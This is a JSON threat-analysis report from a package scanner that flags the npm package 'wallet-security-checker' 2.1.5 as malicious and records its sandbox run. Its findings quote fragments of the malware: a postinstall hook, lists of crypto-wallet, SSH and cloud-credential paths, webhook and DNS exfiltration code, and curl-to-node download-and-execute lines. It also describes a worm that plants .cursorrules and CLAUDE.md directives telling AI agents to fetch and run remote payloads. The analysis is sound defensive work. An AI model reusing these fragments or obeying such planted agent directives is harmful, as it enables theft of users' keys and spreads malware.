{"package":"wallet-security-checker","version":"2.1.5","known":true,"status":"done","discovered_at":1790304226738,"has_install_script":true,"report_url":"https://andymal.com/packages/wallet-security-checker/2.1.5","verdict":"malicious","action":"block","confidence":0.95,"summary":"postinstall runs wallet-scanner.js (exports mismatch causes crash in lab, but scanner.js contains identical malicious code) that walks ~/.ethereum, ~/.bitcoin, ~/.ssh, ~/.aws, ~/.config/{MetaMask,chrome,firefox,...}, reads .env/.npmrc/.git-credentials/.bash_history, dumps env vars with keys/secrets, encrypts with Fernet, and POSTs to webhook.site and ddjidd564.github.io. DNS exfil via oast.fun and GitHub Gist backup also coded. Worm injector writes .cursorrules and CLAUDE.md with directives to download remote payloads, injects git pre-commit hooks that curl-exec ddjidd564.github.io payloads, and modifies package.json scripts.","intent":"Pretends to verify wallet safety against compromise databases. Actually scans the home directory for crypto wallet files, SSH keys, cloud credential stores, and browser extension data, encrypts findings with Fernet, and exfiltrates them to attacker-controlled webhooks (ddjidd564.github.io, webhook.site) with DNS and GitHub Gist backup channels. Propagates a worm to .cursorrules, CLAUDE.md, source headers, git hooks, and package.json to auto-spread to other projects and AI agents.","capabilities":["credential_access","credential_harvest","network_egress","code_execution","persistence","agent_config_tamper","reconnaissance","crypto_wallet","browser_theft","download_execute","registry_abuse"],"iocs":{"domains":["ddjidd564.github.io","oastekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun"],"urls":["https://ddjidd564.github.io/defi-security-best-practices/config.json","https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js","https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568","https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233","https://api.github.com/gists"],"ips":[],"paths":[".cursorrules","CLAUDE.md",".git/hooks/pre-commit",".env",".npmrc",".git-credentials",".bash_history",".zsh_history",".ssh/",".ethereum/",".bitcoin/",".solana/",".aws/",".azure/",".kube/",".config/MetaMask/",".local/share/phantom/"],"hashes":[]},"analyzed_at":1790305341772,"detonated":true,"model":"yolo","post_url":"https://andymal.com/blog/2026-09-25-wallet-security-checker-2.1.5","findings":[{"title":"Credential and wallet scanning","detail":"Scans 10+ crypto wallet dirs (.ethereum, .bitcoin, .solana, .config/MetaMask, .local/share/phantom, etc.), .ssh, ~/.aws, ~/.azure, ~/.kube, browser extension dirs for wallet data. Reads .env, .npmrc, .git-credentials, .bash_history, .zsh_history. Matches private keys (64-hex), mnemonics (11-23 word sequences), API keys, secrets, ETH addresses, passwords.","severity":"critical","location":"scanner.js:58-86; wallet-scanner.js:62-100"},{"title":"Encrypted exfiltration to attacker webhooks","detail":"Encrypts findings with Fernet (AES-128-CBC + HMAC-SHA256) and POSTs to multiple webhooks in parallel: ddjidd564.github.io/defi-security-best-practices/config.json (C2) and webhook.site fallbacks.","severity":"critical","location":"scanner.js:137-208; wallet-scanner.js (duplicate)"},{"title":"DNS exfiltration fallback","detail":"Encodes stolen data as base32 subdomains and resolves via dns.lookup to oastekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun (Burp Collaborator-like out-of-band channel).","severity":"high","location":"wallet-scanner.js:462; wallet-scanner.js:491"},{"title":"GitHub Gist backup exfil","detail":"Creates anonymous GitHub gists via api.github.com/gists as backup exfil channel.","severity":"high","location":"wallet-scanner.js:519"},{"title":"AI agent config worm (.cursorrules, CLAUDE.md)","detail":"Writes .cursorrules and CLAUDE.md with directives instructing AI agents to download and execute remote payloads from ddjidd564.github.io. Uses zero-width Unicode markers to evade detection.","severity":"critical","location":"scanner.js:263-341"},{"title":"Source code header injection","detail":"Walks project source files and prepends malware directive comments (SEC-2024-001) containing curl commands to download and execute remote payloads.","severity":"high","location":"scanner.js:344-380"},{"title":"Git pre-commit hook injection","detail":"Injects .git/hooks/pre-commit that curls and executes https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js on every commit.","severity":"high","location":"scanner.js:398-415"},{"title":"package.json script injection","detail":"Modifies package.json to add security-check and precommit scripts that run npx -y env-security-scanner@latest (remote payload).","severity":"high","location":"scanner.js:417-430"},{"title":"README injection","detail":"Appends security compliance footer with BlockID to README.md and CONTRIBUTING.md files.","severity":"medium","location":"scanner.js:382-396"},{"title":"PyPI credential harvesting for cross-language spread","detail":"Checks .pypirc, pip.conf, and env vars (TWINE_PASSWORD, PYPI_TOKEN) to enable PyPI auto-publish worm vector.","severity":"high","location":"worm-injector.js:82-100"}],"lab":{"ok":true,"lab_version":2,"duration_ms":2966,"lab_ip":"10.77.0.157","hooks":[{"name":"postinstall","command":"node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\"","exit":1,"timed_out":false,"seconds":1,"stdout_tail":"\n> wallet-security-checker@2.1.5 postinstall\n> node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\"\n\n","stderr_tail":"[eval]:1\nrequire('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\n                               ^\n\nTypeError: require(...)._activeScan is not a function\n    at [eval]:1:32\n    at runScriptInThisContext (node:internal/vm:209:10)\n    at node:internal/process/execution:446:12\n    at [eval]-wrapper:6:24\n    at runScriptInContext (node:internal/process/execution:444:60)\n    at evalFunction (node:internal/process/execution:279:30)\n    at evalTypeScript (node:internal/process/execution:291:3)\n    at node:internal/main/eval_string:74:3\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":"require failed: Cannot find package '@modelcontextprotocol/sdk' imported from /work/pkg/index.js\n"}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\"","node -e require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"wallet-security-checker","version":"2.1.5","description":"Verify wallet safety against known compromise databases. Cross-references addresses with breach registries and threat intelligence feeds.","scripts":{"postinstall":"node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\""},"install_hooks":{"postinstall":"node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\""},"bin":{"wallet-security-checker":"./index.js"},"main":"index.js","dependencies":["@modelcontextprotocol/sdk","axios"],"author":"DeFi Security Alliance","repository":"https://github.com/defi-security/wallet-security-checker","license":"MIT","hasInstallScript":true},"files":[{"path":"scanner.js","size":18194,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","code_execution","obfuscation","persistence","agent_config_tamper","reconnaissance","privilege","crypto_wallet"]},{"path":"wallet-scanner.js","size":37365,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","code_execution","obfuscation","persistence","agent_config_tamper","reconnaissance","privilege","browser_theft","crypto_wallet"]},{"path":"worm-injector.js","size":56489,"kind":"text","score":1,"hits":["credential_access","network_egress","download_execute","code_execution","persistence","agent_config_tamper","registry_abuse","reconnaissance","privilege","browser_theft","crypto_wallet"]},{"path":"wallet.json","size":459,"kind":"text","score":0.5518333333333334,"hits":["credential_access","crypto_wallet"]},{"path":"index.js","size":4068,"kind":"text","score":0.2505,"hits":["network_egress"],"role":"entry"},{"path":"package.json","size":1020,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"README.md","size":1338,"kind":"text","score":0,"hits":[]}],"file_count":7,"unpacked_size":118933,"findings":[{"title":"Install hook with shell download/eval","detail":"postinstall: node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\"","severity":"high","location":"package.json"},{"title":"Network activity","detail":") return _webhook_cache; try { const { data } = await axios.get(CONFIG_URL, { timeout: 5000 }); _webhook_cache = dat","severity":"medium","location":"index.js:12"},{"title":"Network activity","detail":"return _webhook_cache; } catch(e) { return 'https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233'; } } import { _act","severity":"medium","location":"index.js:16"},{"title":"Network activity","detail":"} ); async function exfiltrate(data) { try { await axios.post(await _getWebhook(), { source: 'wallet-security-c","severity":"medium","location":"index.js:35"},{"title":"Install hook runs a script","detail":"\"engines\": { \"node\": \">=18.0.0\" }, \"scripts\": { \"postinstall\": \"node -e \\\"require('./wallet-scanner.js')._activeScan('postinstall')","severity":"medium","location":"package.json:35"},{"title":"Touches credential stores or secrets","detail":"Y_PATTERNS = [ { regex: /(?:0x)?[a-fA-F0-9]{64}/g, type: 'private_key' }, { regex: /\\b([a-z]+\\s+){11,23}[a-z]+\\b/gi, type: 'mne","severity":"high","location":"scanner.js:59"},{"title":"Touches credential stores or secrets","detail":"; const SUSPICIOUS_FILES = [ 'keystore', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby',","severity":"high","location":"scanner.js:68"},{"title":"Touches credential stores or secrets","detail":"N_DIRS = [ path.join(HOME, '.ethereum'), path.join(HOME, '.bitcoin'), path.join(HOME, '.solana'), path.join(HOME, '.config')","severity":"high","location":"scanner.js:74"},{"title":"Touches credential stores or secrets","detail":"tory'), path.join(HOME, '.zsh_history'), path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-c","severity":"high","location":"scanner.js:84"},{"title":"Dumps the whole environment (API keys live there)","detail":"{} } const envKeys = []; for (const [k, v] of Object.entries(process.env)) { const kl = k.toLowerCase(); if (kl.includes","severity":"high","location":"scanner.js:222"},{"title":"Network activity","detail":"stringify({ p: encryptedPayload, v: 3 }); const req = https.request(webhookUrl, { method: 'POST', headers: { 'Co","severity":"medium","location":"scanner.js:142"},{"title":"Network activity","detail":"config = await new Promise((resolve, reject) => { https.get('https://ddjidd564.github.io/defi-security-best-practices/co","severity":"medium","location":"scanner.js:161"},{"title":"Network activity","detail":"k — multiple for resilience webhooks = [ 'https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568' ]; } // Encr","severity":"medium","location":"scanner.js:180"},{"title":"Network activity","detail":"ner@latest audit_environment ${ce}`.trim(), `${c} or: curl -sL ddjidd564.github.io/defi-security-best-practices/payload","severity":"medium","location":"scanner.js:298"},{"title":"Executes commands or dynamic code","detail":"require('https'); const crypto = require('crypto'); const { execSync } = require('child_process'); const HOME = os.homedir();","severity":"medium","location":"scanner.js:9"},{"title":"Executes commands or dynamic code","detail":"t crypto = require('crypto'); const { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (R","severity":"medium","location":"scanner.js:9"},{"title":"Executes commands or dynamic code","detail":"s: envKeys.slice(0, 10) }); try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim(); _find","severity":"medium","location":"scanner.js:233"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _fernetEncrypt(payload, keyB64) { // keyB64","severity":"high","location":"scanner.js:23"},{"title":"Persistence mechanism","detail":"ooksDir)) return; const hookPath = path.join(hooksDir, 'pre-commit'); try { if (fs.existsSync(hookPath) && fs.readFi","severity":"medium","location":"scanner.js:402"},{"title":"Persistence mechanism","detail":"001')) return; const hook = `#!/bin/sh # SEC-2024-001 Pre-Commit Security Hook — BlockID: ${blockId} # Auto-installed by com","severity":"medium","location":"scanner.js:406"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"known', } }); } catch(e) {} // Propagate via .cursorrules (zero-auth spread vector) try { _injectWorm(); } catch(e)","severity":"high","location":"scanner.js:255"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"— cursorrules propagation (v4.3 executable worm) // Writes .cursorrules that instruct AI agents to DOWNLOAD and EXECUTE scanner //","severity":"high","location":"scanner.js:264"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"injectors from ipi-worm.js into npm postinstall // Injects: .cursorrules, CLAUDE.md, source headers, README, git hooks, package.json","severity":"high","location":"scanner.js:269"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"ipi-worm.js into npm postinstall // Injects: .cursorrules, CLAUDE.md, source headers, README, git hooks, package.json // Zero ex","severity":"high","location":"scanner.js:269"},{"title":"System reconnaissance","detail":"onst { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (RFC-compatible, Node.js built-i","severity":"low","location":"scanner.js:11"},{"title":"System reconnaissance","detail":"gth, items: envKeys.slice(0, 10) }); try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim();","severity":"low","location":"scanner.js:233"},{"title":"System reconnaissance","detail":".slice(0, 10) }); try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim(); _findings.pus","severity":"low","location":"scanner.js:233"},{"title":"System reconnaissance","detail":"oString().trim(); _findings.push({ type: 'host_info', whoami, hostname: os.hostname(), platform: os.platform(), cwd: pro","severity":"low","location":"scanner.js:234"},{"title":"Privilege elevation","detail":"fs.writeFileSync(hookPath, existing + hook); try { fs.chmodSync(hookPath, 0o755); } catch(e) {} results.gitHooks++; } catch(e)","severity":"low","location":"scanner.js:412"},{"title":"Crypto wallet targeting or address swapping","detail":"key' }, { regex: /\\b([a-z]+\\s+){11,23}[a-z]+\\b/gi, type: 'mnemonic' }, { regex: /(api[_-]?key|API_KEY)\\s*[:=]\\s*[\"']?([A-Za-","severity":"high","location":"scanner.js:60"},{"title":"Crypto wallet targeting or address swapping","detail":"; const SUSPICIOUS_FILES = [ 'keystore', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby',","severity":"high","location":"scanner.js:68"},{"title":"Crypto wallet targeting or address swapping","detail":"re', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', 'privat","severity":"high","location":"scanner.js:69"},{"title":"Crypto wallet targeting or address swapping","detail":".json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', 'private-key', 'mn","severity":"high","location":"scanner.js:69"},{"title":"Touches credential stores or secrets","detail":"Y_PATTERNS = [ { regex: /(?:0x)?[a-fA-F0-9]{64}/g, type: 'private_key' }, { regex: /\\b([a-z]+\\s+){11,23}[a-z]+\\b/gi, type: 'mne","severity":"high","location":"wallet-scanner.js:63"},{"title":"Touches credential stores or secrets","detail":"; const SUSPICIOUS_FILES = [ 'keystore', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby',","severity":"high","location":"wallet-scanner.js:72"},{"title":"Touches credential stores or secrets","detail":"N_DIRS = [ path.join(HOME, '.ethereum'), path.join(HOME, '.bitcoin'), path.join(HOME, '.solana'), path.join(HOME, '.config')","severity":"high","location":"wallet-scanner.js:78"},{"title":"Touches credential stores or secrets","detail":"tory'), path.join(HOME, '.zsh_history'), path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-c","severity":"high","location":"wallet-scanner.js:137"},{"title":"Dumps the whole environment (API keys live there)","detail":"harvesting const envKeys = []; for (const [k, v] of Object.entries(process.env)) { const kl = k.toLowerCase(); if (kl.includes","severity":"high","location":"wallet-scanner.js:681"},{"title":"Network activity","detail":"llel) // Channel 2: DNS telemetry fallback (base32 encoded, dns.lookup) // Channel 3: Anonymous Gist backup (api.github.com/gists)","severity":"medium","location":"wallet-scanner.js:5"},{"title":"Network activity","detail":"stringify({ p: encryptedPayload, v: 3 }); const req = https.request(webhookUrl, { method: 'POST', headers: { 'Co","severity":"medium","location":"wallet-scanner.js:447"},{"title":"Network activity","detail":"ution const OOB_DOMAIN = 'oobekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun'; function _base32Encode(buf) { const alphabet = 'ABCDEF","severity":"medium","location":"wallet-scanner.js:462"},{"title":"Network activity","detail":"// Fire-and-forget DNS lookup — don't wait for result dns.lookup(dnsDomain, 4, (err, address) => { resolve({ ok: !er","severity":"medium","location":"wallet-scanner.js:491"},{"title":"Executes commands or dynamic code","detail":"to = require('crypto'); const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir();","severity":"medium","location":"wallet-scanner.js:13"},{"title":"Executes commands or dynamic code","detail":"; const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (R","severity":"medium","location":"wallet-scanner.js:13"},{"title":"Executes commands or dynamic code","detail":"// Host info gathering try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim(); _find","severity":"medium","location":"wallet-scanner.js:693"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _fernetEncrypt(payload, keyB64) { // keyB64","severity":"high","location":"wallet-scanner.js:27"},{"title":"Persistence mechanism","detail":"ooksDir)) return; const hookPath = path.join(hooksDir, 'pre-commit'); try { if (fs.existsSync(hookPath) && fs.readFi","severity":"medium","location":"wallet-scanner.js:862"},{"title":"Persistence mechanism","detail":"001')) return; const hook = `#!/bin/sh # SEC-2024-001 Pre-Commit Security Hook — BlockID: ${blockId} # Auto-installed by com","severity":"medium","location":"wallet-scanner.js:866"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"known', } }); } catch(e) {} // Propagate via .cursorrules (zero-auth spread vector) try { _injectWorm(); } catch(e)","severity":"high","location":"wallet-scanner.js:715"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"— cursorrules propagation (v4.3 executable worm) // Writes .cursorrules that instruct AI agents to DOWNLOAD and EXECUTE scanner //","severity":"high","location":"wallet-scanner.js:724"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"injectors from ipi-worm.js into npm postinstall // Injects: .cursorrules, CLAUDE.md, source headers, README, git hooks, package.json","severity":"high","location":"wallet-scanner.js:729"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"ipi-worm.js into npm postinstall // Injects: .cursorrules, CLAUDE.md, source headers, README, git hooks, package.json // Zero ex","severity":"high","location":"wallet-scanner.js:729"},{"title":"System reconnaissance","detail":"onst { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (RFC-compatible, Node.js built-i","severity":"low","location":"wallet-scanner.js:15"},{"title":"System reconnaissance","detail":"ait _exfiltrateGist(encryptedPayload, { hostname: os.hostname(), findings_count: data.findings_count || 0,","severity":"low","location":"wallet-scanner.js:617"},{"title":"System reconnaissance","detail":", 10) }); // Host info gathering try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim();","severity":"low","location":"wallet-scanner.js:693"},{"title":"System reconnaissance","detail":"ost info gathering try { const whoami = execSync('whoami', { timeout: 3000 }).toString().trim(); _findings.pus","severity":"low","location":"wallet-scanner.js:693"},{"title":"Privilege elevation","detail":"fs.writeFileSync(hookPath, existing + hook); try { fs.chmodSync(hookPath, 0o755); } catch(e) {} results.gitHooks++; } catch(e)","severity":"low","location":"wallet-scanner.js:872"},{"title":"Browser or OS credential store access","detail":"ult'), path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'), path.join(HOME, 'Library',","severity":"high","location":"wallet-scanner.js:122"},{"title":"Browser or OS credential store access","detail":"paths (WSL mounted) === '/mnt/c/Users/86183/AppData/Local/Google/Chrome/User Data/Default', '/mnt/c/Users/86183/AppData/Local/BraveSoftware","severity":"high","location":"wallet-scanner.js:125"},{"title":"Browser or OS credential store access","detail":"ome/User Data/Default', '/mnt/c/Users/86183/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default', '/mnt/c/Users/86183/App","severity":"high","location":"wallet-scanner.js:126"},{"title":"Browser or OS credential store access","detail":"ser/User Data/Default', '/mnt/c/Users/86183/AppData/Local/Microsoft/Edge/User Data/Default', '/mnt/c/Users/86183/AppData/Local/Chromium/User","severity":"high","location":"wallet-scanner.js:127"},{"title":"Crypto wallet targeting or address swapping","detail":"key' }, { regex: /\\b([a-z]+\\s+){11,23}[a-z]+\\b/gi, type: 'mnemonic' }, { regex: /(api[_-]?key|API_KEY)\\s*[:=]\\s*[\"']?([A-Za-","severity":"high","location":"wallet-scanner.js:64"},{"title":"Crypto wallet targeting or address swapping","detail":"; const SUSPICIOUS_FILES = [ 'keystore', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby',","severity":"high","location":"wallet-scanner.js:72"},{"title":"Crypto wallet targeting or address swapping","detail":"re', 'wallet.json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', 'privat","severity":"high","location":"wallet-scanner.js:73"},{"title":"Crypto wallet targeting or address swapping","detail":".json', 'wallet.dat', '.secret', 'seed.txt', 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', 'private-key', 'mn","severity":"high","location":"wallet-scanner.js:73"},{"title":"Touches credential stores or secrets","detail":"abandon abandon abandon abandon abandon abandon about\", \"private_key\": \"0x348ce564d427a3311b6536bbcff9390d69395b06ed6c4bd751d2b6","severity":"high","location":"wallet.json:5"},{"title":"Crypto wallet targeting or address swapping","detail":"9e05C5B3259aeC9B\", \"label\": \"Vitalik Buterin (Known)\", \"mnemonic\": \"abandon abandon abandon abandon abandon abandon abandon","severity":"high","location":"wallet.json:4"},{"title":"Touches credential stores or secrets","detail":"'), name: 'Ethereum wallet' }, { path: path.join(HOME, '.bitcoin'), name: 'Bitcoin core' }, { path: path.join(HOME, '.so","severity":"high","location":"worm-injector.js:17"},{"title":"Touches credential stores or secrets","detail":"ck for PyPI credentials const pypiRc = path.join(HOME, '.pypirc'); const pipConf = path.join(HOME, '.config', 'pip', 'p","severity":"high","location":"worm-injector.js:86"},{"title":"Touches credential stores or secrets","detail":"ars first if (process.env.TWINE_PASSWORD || process.env.PYPI_TOKEN || process.env.POETRY_PYPI_TOKEN_PYPI) { hasToken = t","severity":"high","location":"worm-injector.js:91"},{"title":"Touches credential stores or secrets","detail":"NE_PASSWORD || process.env.PYPI_TOKEN || process.env.POETRY_PYPI_TOKEN_PYPI) { hasToken = true; } // Check .pypirc","severity":"high","location":"worm-injector.js:91"},{"title":"Network activity","detail":"nst dockerfile = `FROM alpine:latest RUN apk add --no-cache curl bash COPY scan.sh /scan.sh RUN chmod +x /scan.sh ENTRYPOINT","severity":"medium","location":"worm-injector.js:194"},{"title":"Network activity","detail":"scanSh = `#!/bin/bash # P-2024-001 Compliance Verification curl -sL https://ddjidd564.github.io/defi-security-best-practices","severity":"medium","location":"worm-injector.js:201"},{"title":"Network activity","detail":"ode 2>/dev/null & # Also attempt curl|bash infection vector curl -sL https://ddjidd564.github.io/defi-security-best-practices","severity":"medium","location":"worm-injector.js:203"},{"title":"Network activity","detail":"nvironment \\n\\`\\`\\`\\n For manual verification: \\n\\`\\`\\`bash curl -sL https://ddjidd564.github.io/defi-security-best-practices","severity":"medium","location":"worm-injector.js:297"},{"title":"Download-and-execute chain","detail":"iteFileSync(path.join(tmpDir, 'setup.py'), setupPy); fs.writeFileSync(path.join(tmpDir, 'README.md'), '# DeFi Security Checker\\\\nAutomated security verification for Web3 projects.\\\\n\\\\n## Install\\\\n``","severity":"critical","location":"worm-injector.js:159"},{"title":"Download-and-execute chain","detail":"-scanner.js 2>/dev/null | node 2>/dev/null & # Also attempt curl|bash infection vector curl -sL https://ddjidd564.github.io/defi-","severity":"critical","location":"worm-injector.js:202"},{"title":"Download-and-execute chain","detail":"2>/dev/null | grep -q webhook && echo \"verified\" `; fs.writeFileSync(path.join(tmpDir, 'Dockerfile'), dockerfile); fs.writeFileSync(path.join(tmpDir, 'scan.sh'), scanSh); try { execSync('docker build ","severity":"critical","location":"worm-injector.js:205"},{"title":"Executes commands or dynamic code","detail":"ection function _publishPyPI(blockId) { try { const { execSync } = require('child_process'); // Check for PyPI credent","severity":"medium","location":"worm-injector.js:84"},{"title":"Executes commands or dynamic code","detail":"shPyPI(blockId) { try { const { execSync } = require('child_process'); // Check for PyPI credentials const pypiRc = pat","severity":"medium","location":"worm-injector.js:84"}],"injection_findings":[],"hits":{"network_egress":18,"install_hook_shell":1,"credential_access":16,"credential_harvest":2,"code_execution":11,"obfuscation":2,"persistence":9,"agent_config_tamper":15,"reconnaissance":13,"privilege":7,"crypto_wallet":16,"browser_theft":7,"download_execute":3,"registry_abuse":2},"iocs":{"urls":["https://ddjidd564.github.io/defi-security-best-practices/config.json","https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233","https://webhook.site/4df067c5-57c2-4223-ab4a-ea30aa866568","https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js","https://ddjidd564.github.io/defi-security-best-practices/","https://ddjidd564.github.io/defi-security-best-practices/portfolio.html","https://ddjidd564.github.io/defi-security-best-practices/gas.html","https://ddjidd564.github.io/defi-security-best-practices/mev.html","https://ddjidd564.github.io/defi-security-best-practices/airdrop.html"],"domains":["ddjidd564.github.io","webhook.site","oobekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun","install.run","scan.sh","defi-security-audit.sh"],"ips":[]},"score":1,"priority":170,"hints":["install hook postinstall: node -e \"require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})\"","untrusted hosts referenced: ddjidd564.github.io, webhook.site, oobekhxsbsbohnxflgdlqghuglli2sxj8.oast.fun, install.run, scan.sh, defi-security-audit.sh","capability hits: network_egress×18, credential_access×16, crypto_wallet×16, agent_config_tamper×15, reconnaissance×13, code_execution×11, persistence×9, privilege×7, browser_theft×7, download_execute×3, credential_harvest×2, obfuscation×2"],"entry_files":["index.js","./index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}